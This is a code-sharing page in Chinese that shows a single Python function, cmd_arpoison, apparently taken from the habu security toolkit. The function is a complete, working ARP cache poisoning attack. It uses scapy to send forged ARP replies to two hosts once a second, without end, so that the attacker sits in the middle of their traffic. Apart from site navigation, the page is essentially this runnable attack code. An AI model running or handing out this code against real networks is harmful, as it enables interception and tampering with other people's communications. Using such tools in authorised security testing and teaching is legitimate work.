cmd_arpoison.py 文件源码

python
阅读 25 收藏 0 点赞 0 评论 0

项目:habu 作者: portantier 项目源码 文件源码
def cmd_arpoison(t1, t2, iface, verbose):
    """ARP cache poison"""

    conf.verb = False

    if iface:
        conf.iface = iface

    mac1 = getmacbyip(t1)
    mac2 = getmacbyip(t2)

    pkt1 = Ether(dst=mac1)/ARP(op="is-at", psrc=t2, pdst=t1, hwdst=mac1)
    pkt2 = Ether(dst=mac2)/ARP(op="is-at", psrc=t1, pdst=t2, hwdst=mac2)

    try:
        while 1:
            sendp(pkt1)
            sendp(pkt2)

            if verbose:
                pkt1.show2()
                pkt2.show2()
            else:
                print(pkt1.summary())
                print(pkt2.summary())

            time.sleep(1)

    except KeyboardInterrupt:
        pass
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号